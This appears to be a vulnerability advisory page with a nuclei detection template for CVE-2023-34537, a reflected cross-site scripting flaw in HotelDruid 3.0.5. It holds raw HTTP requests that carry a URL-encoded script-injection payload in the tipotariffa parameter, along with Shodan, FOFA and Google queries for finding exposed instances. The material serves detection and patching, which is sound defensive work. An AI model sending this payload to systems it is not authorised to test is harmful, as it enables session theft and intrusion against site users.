Hoteldruid 3.0.5 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.4%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

A Reflected XSS was discovered in HotelDruid version 3.0.5, an attacker can issue malicious code/command on affected webpage's parameter to trick user on browser and/or exfiltrate data.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: POST /inizio.php ; POST /creaprezzi.php
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "<script>alert(document.domain)</script>") and contains(body_2, "HotelDruid")

Run it with nuclei: nuclei -id CVE-2023-34537 -u <target>

The full check

id: CVE-2023-34537

info:
  name: Hoteldruid 3.0.5 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A Reflected XSS was discovered in HotelDruid version 3.0.5, an attacker can issue malicious code/command on affected webpage's parameter to trick user on browser and/or exfiltrate data.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/leekenghwa/CVE-2023-34537---XSS-reflected--found-in-HotelDruid-3.0.5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34537
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-34537
    cwe-id: CWE-79
    epss-score: 0.01438
    epss-percentile: 0.73368
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: digitaldruid
    product: hoteldruid
    shodan-query:
      - http.title:"hoteldruid"
      - http.favicon.hash:-1521640213
    fofa-query:
      - title="hoteldruid"
      - icon_hash=-1521640213
    google-query: intitle:"hoteldruid"
  tags: cve2023,cve,hoteldrui,xss,authenticated,digitaldruid,vuln

http:
  - raw:
      - |
        POST /inizio.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        vers_hinc=1&nome_utente_phpr={{username}}&password_phpr={{password}}
      - |
        POST /creaprezzi.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        anno=2023&id_sessione=&tipotariffa=a19yc%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3emjf9oc2183m&inizioperiodosett1=2023-12-24&fineperiodosett1=2023-12-31&tipo_prezzo=sett&prezzosett=&prezzosettp=&prezzoperiodo1=&prezzoperiodo1p=&prezzoperiodo2=&prezzoperiodo2p=&prezzoperiodo3=&prezzoperiodo3p=&prezzoperiodo4=&prezzoperiodo4p=&prezzoperiodo5=&prezzoperiodo5p=&prezzoperiodo6=&prezzoperiodo6p=&prezzoperiodo7=&prezzoperiodo7p=&inserisci_settimanalmente=1

    skip-variables-check: true
    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "HotelDruid")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from